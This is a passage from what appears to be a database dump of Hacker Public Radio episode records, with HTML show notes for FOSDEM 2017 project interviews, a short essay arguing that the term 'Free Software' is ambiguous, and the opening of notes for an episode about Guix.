baseband systems to test and validate their developments.\r\n</blockquote>\r\n<h3>Listen to the interview with Léonardo S. Cardoso</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=3535.000000,3876.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=3535.000000,3876.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/CorteXlab\">https://github.com/CorteXlab</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/FITCorteXlab\">https://twitter.com/FITCorteXlab</a></li>\r\n<li>About: <a href=\"https://www.cortexlab.fr/?page_id=2\">https://www.cortexlab.fr/?page_id=2</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.7\" ><img alt=\"OpenEmbedded\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.7.jpg\"/></h2>\r\n<p><a href=\"https://www.openembedded.org/\">https://www.openembedded.org/</a></p>\r\n<blockquote>\r\nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems.\r\n</blockquote>\r\n<h3>Listen to the interview with Andreas Müller</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=3885.000000,4136.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=3885.000000,4136.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"git://git.openembedded.org/openembedded\">git://git.openembedded.org/openembedded</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenEmbedded\">https://en.wikipedia.org/wiki/OpenEmbedded</a></li>\r\n<li>IRC: <a href=\"https://www.openembedded.org/wiki/IRC\">https://www.openembedded.org/wiki/IRC</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/communities/104250716797176329741\">https://plus.google.com/u/0/communities/104250716797176329741</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/49269/profile\">https://www.linkedin.com/groups/49269/profile</a></li>\r\n<li>Mailinglist: <a href=\"https://www.openembedded.org/wiki/Mailing_lists\">https://www.openembedded.org/wiki/Mailing_lists</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/hashtag/openembedded\">https://twitter.com/hashtag/openembedded</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/OpenEmbedded/103140443059741\">https://www.facebook.com/pages/OpenEmbedded/103140443059741</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/results?search_query=OpenEmbedded\">https://www.youtube.com/results?search_query=OpenEmbedded</a></li>\r\n</ul>\r\n<hr />',30,78,1,'CC-BY-SA','FOSDEM 2017, coreboot, GNU GRUB, Olimex, Automotive Grade Linux, Ham radio, CorteXlab, OpenEmbedded',0,0,1),
(2227,'2017-02-14','FOSDEM 2017 H Building and the Hallway track',5099,'Ken interviews the projects in the H building and anyone else that wants to talk.','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#H.1\">Godot Engine</a></li>\r\n<li><a href=\"#H.2\">Software Freedom Conservancy</a></li>\r\n<li><a href=\"#H.3\">BBC Open Source</a></li>\r\n<li><a href=\"#H.5\">WolfSSL</a></li>\r\n<li><a href=\"#H.6\">GrimoireLab</a></li>\r\n<li><a href=\"#H.7\">MySQL</a></li>\r\n<li><a href=\"#Extra.1\">Kallithea</a></li>\r\n<li><a href=\"#Extra.2\">World Privacy and Identity Association (WPIA)</a></li>\r\n<li><a href=\"#Extra.3\">XMPP</a></li>\r\n<li><a href=\"#Extra.4\">Pulp</a></li>\r\n<li><a href=\"#Extra.5\">SHA2017</a></li>\r\n<li><a href=\"#Extra.6\">ManageIQ</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.1\" ><img alt=\"Godot Engine\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.1.jpg\"/></h2>\r\n<p><a href=\"https://godotengine.org/\">https://godotengine.org/</a></p>\r\n<blockquote>\r\nGodot is an advanced, feature-packed, multi-platform 2D and 3D open source game engine. Godot provides a huge set of common tools, so you can just focus on making your game without reinventing the wheel. Godot is completely free and open source under the very permissive MIT license. No strings attached, no royalties, nothing. Your game is yours, down to the last line of engine code.\r\n</blockquote>\r\n<h3>Listen to the interview with Rémi Verschelde</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=73.000000,517.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=73.000000,517.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/godotengine/\">https://github.com/godotengine/</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Godot_(game_engine)\">https://en.wikipedia.org/wiki/Godot_(game_engine)</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=#godotengine\">https://webchat.freenode.net/?channels=#godotengine</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/communities/111020480776556451458\">https://plus.google.com/u/0/communities/111020480776556451458</a></li>\r\n<li>RSS: <a href=\"https://godotengine.org/rss.xml\">https://godotengine.org/rss.xml</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/godotengine\">https://twitter.com/godotengine</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/groups/godotengine/\">https://www.facebook.com/groups/godotengine/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCKIDvfZD1ZhY4_hhbotf7wA\">https://www.youtube.com/channel/UCKIDvfZD1ZhY4_hhbotf7wA</a></li>\r\n<li>Reddit: <a href=\"https://www.reddit.com/r/godot\">https://www.reddit.com/r/godot</a></li>\r\n<li>Steam: <a href=\"https://steamcommunity.com/app/404790\">https://steamcommunity.com/app/404790</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.2\" ><img alt=\"Software Freedom Conservancy\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.2.jpg\"/></h2>\r\n<p><a href=\"https://sfconservancy.org/\">https://sfconservancy.org/</a></p>\r\n<blockquote>\r\nSoftware Freedom Conservancy, Inc. is a 501(c)(3) not-for-profit organization incorporated in New York. Software Freedom Conservancy helps promote, improve, develop, and defend Free, Libre, and Open Source Software (FLOSS) projects. Conservancy provides a non-profit home and infrastructure for FLOSS projects.\r\n</blockquote>\r\n<h3>Listen to the interview with Bradley M. Kuhn</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=526.000000,971.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=526.000000,971.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Software_Freedom_Conservancy\">https://en.wikipedia.org/wiki/Software_Freedom_Conservancy</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=conservancy\">https://webchat.freenode.net/?channels=conservancy</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/104268783278405704634\">https://plus.google.com/u/0/104268783278405704634</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/3091519/\">https://www.linkedin.com/company-beta/3091519/</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.sfconservancy.org/pipermail/announce/\">https://lists.sfconservancy.org/pipermail/announce/</a></li>\r\n<li>RSS: <a href=\"https://sfconservancy.org/feeds/omnibus/\">https://sfconservancy.org/feeds/omnibus/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/conservancy\">https://twitter.com/conservancy</a></li>\r\n<li>FediVerse: <a href=\"https://identi.ca/conservancy\">https://identi.ca/conservancy</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/SoftwareFreedomConservancy/\">https://www.facebook.com/SoftwareFreedomConservancy/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCUEeuNvX2UyTTyTYXR9dm_A\">https://www.youtube.com/channel/UCUEeuNvX2UyTTyTYXR9dm_A</a></li>\r\n<li>About: <a href=\"https://sfconservancy.org/about/\">https://sfconservancy.org/about/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.3\" ><img alt=\"BBC Open Source\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.3.jpg\"/></h2>\r\n<p><a href=\"https://www.bbc.co.uk/opensource/\">https://www.bbc.co.uk/opensource/</a></p>\r\n<blockquote>\r\nThe BBC has been using and contributing to open source projects for as long as we\'ve had a website. This site brings together all the open source projects across the BBC with links to all our documentation and source code and information on how to get involved. Open source code used on public facing services, internal services and educational resources.\r\n</blockquote>\r\n<h3>Listen to the interview with David Buckhurst</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=980.000000,1506.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=980.000000,1506.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2227_H.3_BBC_Open_Source_bit-matrix.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2227_H.3_BBC_Open_Source_bit-matrix_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2227_H.3_BBC_Open_Source_robot.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2227_H.3_BBC_Open_Source_robot_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/bbc\">https://github.com/bbc</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/BBC\">https://en.wikipedia.org/wiki/BBC</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/BBCOpenSource\">https://twitter.com/BBCOpenSource</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.5\" ><img alt=\"WolfSSL\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.5.jpg\"/></h2>\r\n<p><a href=\"https://www.wolfssl.com/wolfSSL/Home.html\">https://www.wolfssl.com/wolfSSL/Home.html</a></p>\r\n<blockquote>\r\nEmbedded SSL/TLS Library for Applications, Devices, IoT, and the Cloud. Providing secure communication for IoT, smart grid, connected home, automobiles, routers, applications, games, IP, mobile phones, the cloud, and more.\r\n</blockquote>\r\n<h3>Listen to the interview with Chris Conlon</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=1515.000000,1786.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=1515.000000,1786.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/wolfssl/wolfssl\">https://github.com/wolfssl/wolfssl</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/WolfSSL\">https://en.wikipedia.org/wiki/WolfSSL</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/+Wolfssl\">https://plus.google.com/u/0/+Wolfssl</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/wolfssl\">https://www.linkedin.com/company/wolfssl</a></li>\r\n<li>RSS: <a href=\"https://www.wolfssl.com/wolfSSL/Blog/rss.xml\">https://www.wolfssl.com/wolfSSL/Blog/rss.xml</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/wolfSSL\">https://twitter.com/wolfSSL</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/wolfssl\">https://www.facebook.com/wolfssl</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/wolfssl\">https://www.youtube.com/user/wolfssl</a></li>\r\n<li>About: <a href=\"https://wolfssl.com/wolfSSL/About.html\">https://wolfssl.com/wolfSSL/About.html</a></li>\r\n<li>SlideShare: <a href=\"https://www.slideshare.net/yassl\">https://www.slideshare.net/yassl</a></li>\r\n<li>Flickr: <a href=\"https://www.flickr.com/photos/54654493@N05/\">https://www.flickr.com/photos/54654493@N05/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.6\" ><img alt=\"GrimoireLab\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.6.jpg\"/></h2>\r\n<p><a href=\"https://grimoirelab.github.io/\">https://grimoirelab.github.io/</a></p>\r\n<blockquote>\r\nfree, libre, open source tools for software development analytics.\r\n</blockquote>\r\n<h3>Listen to the interview with Daniel Izquierdo Cortázar</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=1795.000000,2185.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=1795.000000,2185.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/bitergia\">https://github.com/bitergia</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=metrics-grimoire\">https://webchat.freenode.net/?channels=metrics-grimoire</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/hashtag/GrimoireLab\">https://twitter.com/hashtag/GrimoireLab</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/hashtag/grimoirelab\">https://www.facebook.com/hashtag/grimoirelab</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"H.7\" ><img alt=\"MySQL\" src=\"https://hackerpublicradio.org/eps/hpr2227_H.7.jpg\"/></h2>\r\n<p><a href=\"https://www.mysql.com/\">https://www.mysql.com/</a></p>\r\n<blockquote>\r\nMySQL is the world\'s most popular open source database. With its proven performance, reliability and ease-of-use, MySQL has become the leading database choice for web-based applications, used by high profile web properties including Facebook, Twitter, YouTube, Yahoo! and many more. Oracle drives MySQL innovation, delivering new capabilities to power next generation web, cloud, mobile and embedded applications.\r\n</blockquote>\r\n<h3>Listen to the interview with Mark Leith</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=2194.000000,2525.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=2194.000000,2525.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/MySQL\">https://en.wikipedia.org/wiki/MySQL</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+mysql\">https://plus.google.com/+mysql</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/#!/mysql\">https://twitter.com/#!/mysql</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/mysql\">https://www.facebook.com/mysql</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/mysqlchannel\">https://www.youtube.com/mysqlchannel</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.1\" ><img alt=\"Kallithea\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.1.jpg\"/></h2>\r\n<p><a href=\"https://kallithea-scm.org/\">https://kallithea-scm.org/</a></p>\r\n<blockquote>\r\nKallithea, a member project of Software Freedom Conservancy, is a GPLv3\'d, Free Software source code management system that supports two leading version control systems, Mercurial and Git, and has a web interface that is easy to use for users and admins. You can install Kallithea on your own server and host repositories for the version control system of your choice.\r\n</blockquote>\r\n<h3>Listen to the interview with Andrew Shadura</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=2534.000000,2886.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=2534.000000,2886.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://bitbucket.org/conservancy/kallithea/wiki/Home\">https://bitbucket.org/conservancy/kallithea/wiki/Home</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Kallithea_(software)\">https://en.wikipedia.org/wiki/Kallithea_(software)</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=kallithea\">https://webchat.freenode.net/?channels=kallithea</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.sfconservancy.org/mailman/listinfo/kallithea-general\">https://lists.sfconservancy.org/mailman/listinfo/kallithea-general</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/KallitheaSCM\">https://twitter.com/KallitheaSCM</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.2\" ><img alt=\"World Privacy and Identity Association (WPIA)\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.2.jpg\"/></h2>\r\n<p><a href=\"https://wpia.club/en/\">https://wpia.club/en/</a></p>\r\n<blockquote>\r\nThe World Privacy and Identity Association (WPIA) is anxious to transfer the human rights to protect one\'s privacy and identity into the cyber space. WPIA is going to foster political education, seek exchange with politicians, develop software, and operate a free certificate authority. Everything will be done to patronise and substain your digital rights. We make it happen for empowering the digital YOU!\r\n</blockquote>\r\n<h3>Listen to the interview with Reinhard Mutz</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=2895.000000,3356.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=2895.000000,3356.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Google+: <a href=\"https://plus.google.com/113724401049079094223\">https://plus.google.com/113724401049079094223</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/WPIAssociation\">https://twitter.com/WPIAssociation</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/WPIA-World-Privacy-and-Identity-Association-332073417178164/\">https://www.facebook.com/WPIA-World-Privacy-and-Identity-Association-332073417178164/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.3\" ><img alt=\"XMPP\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.3.jpg\"/></h2>\r\n<p><a href=\"https://xmpp.org/\">https://xmpp.org/</a></p>\r\n<blockquote>\r\nXMPP is the open standard for messaging and presence. XMPP powers emerging technologies like IoT, WebRTC, and social. No one owns XMPP. It\'s free and open for everyone since 1999. It\'s a living standard. Engineers actively extend and improve it. Millions use XMPP software daily to connect to people and services.\r\n</blockquote>\r\n<h3>Listen to the interview with Sam Whited</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=3367.000000,4038.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=3367.000000,4038.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://xmpp.org/software\">https://xmpp.org/software</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/XMPP\">https://en.wikipedia.org/wiki/XMPP</a></li>\r\n<li>IRC: <a href=\"https://xmpp.org/community/chat\">https://xmpp.org/community/chat</a></li>\r\n<li>Mailinglist: <a href=\"https://xmpp.org/community/mailing-lists\">https://xmpp.org/community/mailing-lists</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.4\" ><img alt=\"Pulp\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.4.jpg\"/></h2>\r\n<p><a href=\"https://pulpproject.org/\">https://pulpproject.org/</a></p>\r\n<blockquote>\r\nPulp is a platform for managing repositories of software packages and making it available to a large numbers of consumers. Pulp can locally mirror all or part of a repository, host your own software packages in repositories, and manage many types of content from multiple sources in one place.\r\n</blockquote>\r\n<h3>Listen to the interview with Brian Bouterse</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=4047.000000,4412.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=4047.000000,4412.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/pulp/\">https://github.com/pulp/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.redhat.com/mailman/listinfo/pulp\">https://www.redhat.com/mailman/listinfo/pulp</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.5\" ><img alt=\"SHA2017\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.5.jpg\"/></h2>\r\n<p><a href=\"https://sha2017.org/\">https://sha2017.org/</a></p>\r\n<blockquote>\r\nSHA2017 is a non profit outdoor Hacker camp/conference taking place in The Netherlands from the 4th to 8th of August 2017. It is the successor of a string of similar events happening every four years. These are GHP, HEU, HIP, HAL, WTH, HAR and OHM. Similar events are EMF Camp 2016 in the UK, CCC Camp and congress in Germany. The location is the Scoutinglandgoed in Zeewolde, 55km east of Amsterdam.\r\n</blockquote>\r\n<h3>Listen to the interview with Robin Edgar</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=4421.000000,4575.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=4421.000000,4575.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=#sha2017\">https://webchat.freenode.net/?channels=#sha2017</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.sha2017.org/cgi-bin/mailman/listinfo\">https://lists.sha2017.org/cgi-bin/mailman/listinfo</a></li>\r\n<li>RSS: <a href=\"https://sha2017.org/rss.xml\">https://sha2017.org/rss.xml</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"Extra.6\" ><img alt=\"ManageIQ\" src=\"https://hackerpublicradio.org/eps/hpr2227_Extra.6.jpg\"/></h2>\r\n<p><a href=\"https://manageiq.org/\">https://manageiq.org/</a></p>\r\n<blockquote>\r\nManageIQ is an open source management platform for Hybrid IT. It can manage small and large environments, and supports multiple technologies such as virtual machines, public clouds and containers. With ManageIQ you will be able to: Continuously discover the latest state of your environment. Implement self service for your end users. Enforce compliance across the environment. Optimize the performance and utilization of you environment.\r\n</blockquote>\r\n<h3>Listen to the interview with Carol Chene</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.ogg#t=4584.000000,4891.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2227.mp3#t=4584.000000,4891.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/ManageIQ/\">https://github.com/ManageIQ/</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+ManageiqOrg\">https://plus.google.com/+ManageiqOrg</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/manageiq\">https://www.linkedin.com/company/manageiq</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/ManageIQ\">https://twitter.com/ManageIQ</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/manageiq/\">https://www.facebook.com/manageiq/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/ManageIQVideo\">https://www.youtube.com/user/ManageIQVideo</a></li>\r\n</ul>\r\n<hr />',30,78,1,'CC-BY-SA','Godot Engine, SFC, BBC Open Source, WolfSSL, GrimoireLab, MySQL, Kallithea, WPIA, XMPP, Pulp, SHA2017, ManageIQ',0,0,1),
(2197,'2017-01-03','Why you should not say Free Software',429,'Ken suggests that the term Free Software is a bug.','<p>\r\nAs we all know the word Free has two meanings in the English language. Free of cost and Free from Freedom. So we get the expression \"free as in Beer\" and \"Free as in Freedom\" - or Free with a lower or upper F. Having disambiguity in a computer program is bad. So let\'s translate that problem to computer languages, and I\'m going to deliberately pick the C language. So for example were the word \"exit\" (which is a function), and you wanted to use it as a variable.\r\n</p>\r\n<p>\r\nset exit = 1;\r\n</p>\r\n<p>\r\nThis leads to problems as the computer can\'t tell if the references to \"exit\" the function or is it the \"variable\".\r\n</p>\r\n<p>\r\nFor that reason the \"The GNU C Library Reference Manual\" makes it clear that this is not allowed\r\n</p>\r\n<blockquote>\r\n<p>\r\n  1.3.3 Reserved Names<br />\r\n  The names of all library types, macros, variables and functions that come from the ISO C standard are reserved unconditionally; your program may not redefine these names. All other library names are reserved if your program explicitly includes the header file that defines or declares them. There are several reasons for these restrictions:\r\n</p>\r\n<p>\r\n  Other people reading your code could get very confused if you were using a function named \"exit\" to do something completely different from what the standard \"exit\" function does, for example. Preventing this situation helps to make your programs easier to understand and contributes to modularity and maintainability.\r\n</p>\r\n<p>\r\n  It avoids the possibility of a user accidentally redefining a library function that is called by other library functions. If redefinition were allowed, those other functions would not work properly.\r\n</p>\r\n</blockquote>\r\n<p>\r\nThis was written by \"Sandra Loosemore with Richard M. Stallman, Roland McGrath, Andrew Oram, and Ulrich Drepper for version 2.18\".\r\n</p>\r\n<p>\r\nIn terms of the English Language, this results in:\r\n</p>\r\n\r\n<ul>\r\n<li>segfaults where people just get confused.\r\n</li>\r\n<li>Buffer overflows, where there is too much information to take in.\r\n</li>\r\n<li>time outs where the amount of time available to explain has been exceeded.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nNow you can get around the problem by prefixing the variable name with a name space, which is very common in XML.\r\n</p>\r\n<p>\r\nset my:exit = 1;\r\n</p>\r\n<p>\r\nHowever that\'s cumbersome and causes extra cycles to be expended, or abnormal termination of the program. Not many cycles but a few and it adds up over time. The more you use it the more wastage occurs. When you have two Bob\'s working in a company. You always need to specify if it\'s \"Bob in Accounting\" or \"Bob in Sales\".\r\n</p>\r\n<p>\r\nIt is often pointed out that this is not an issue in other languages, for example Dutch has \"Vrij\" for freedom and \"Gratis\" for without cost. However the FSF is a US organisation, in a English speaking area. So we should focus on the fact that the English compiler should have rejected at use of \"Free\" when it was first proposed because it was obviously disambiguous.\r\n</p>\r\n<p>\r\nThe GNU project was started in 1983 and looking at the software available around then I find it very hard to believe that the concept of \"software you pay for\" was not widely known.\r\n<a href=\"https://en.wikipedia.org/wiki/History_of_software\">https://en.wikipedia.org/wiki/History_of_software</a>\r\n</p>\r\n\r\n<ul>\r\n<li>WordStar, \"By early 1980, MicroPro claimed in advertisements that 5,000 people had purchased WordStar in eight months\"\r\n</li>\r\n<li>WordPerfect, \"The program was originally developed under contract at Brigham Young University for use on a Data General minicomputer in 1979.\"\r\n</li>\r\n<li>VisiCalc, \"It sold over 700,000 copies in six years\"\r\n</li>\r\n<li>Lotus 1-2-3, \"Lotus 1-2-3 was released on 26 January 1983, and immediately overtook Visicalc in sales.\"\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nLooking at the archives of the <a href=\"https://archive.org/search.php?query=Byte%20Magazine\">Byte Magazine</a> there are numerous examples where software \"Free/free\" and proprietary closed software was for sale as far back as 1979. Even the term <a href=\"https://en.wikipedia.org/wiki/Freeware\">freeware</a> was coined in 1982 by Andrew Fluegelman.\r\n</p>\r\n<p>\r\nSo it would seem that the word \"Free Software\" was a bug from the start. Not that there is probably anything we can do about it now but if this bugs you then go over to the FSF and <a href=\"https://fsf.org/donate\">donate</a>. If it doesn\'t bug you then <a href=\"https://fsf.org/donate\">donate</a>. If you could care less, or indeed if you couldn\'t care less then also <a href=\"https://fsf.org/donate\">donate</a>.\r\n</p>',30,0,0,'CC-BY-SA','free software,free,freedom',0,0,1),
(2198,'2017-01-04','How awesome is Guix and why will it take over the world',5011,'I sit down with Chris Webber and we ramble about how great Guix is','<p>I heard a \"holy crap\" somewhere in there, so I guess this show is explicit. That\'s about the level you can expect. :-)</p>\r\n<p>I recorded this together with <a href=\"https://identi.ca/cwebber\">@cwebber@identi.ca</a> over a year ago, on 2015-12-01. I told him I was hoping to get it out in time for FOSDEM. I didn\'t clarify which FOSDEM. :-D</p>\r\n<p>So this thing has been lying around, and I\'ve been polishing it and I\'ve been thinking \"man, 90 minutes is a bit rich for an HPR episode, I should edit this thing <em>at some point</em>\". Procrastinator strikes again!</p>\r\n<p>Well, that point never came in the course of one year, and HPR needs episodes, so this is what you get. I skipped around in it for QA reasons (audio sync) and I found that I wanted to listen to it again myself, so if your interests are anything like mine, I think it will be able to hold your attention. We had great fun recording it, and now that I\'ve got it out of the gate, maybe I won\'t be ashamed to ask Chris to record another one about one of the many topics that came up during this show.</p>\r\n<p>In the year since we recorded this, Guix has released versions 0.10.0, 0.11.0 and 0.12.0. It has functioning GNOME (based on Wingo\'s <a href=\"https://github.com/wingo/elogind\">elogind</a>) and can boot from a LUKS-encrypted 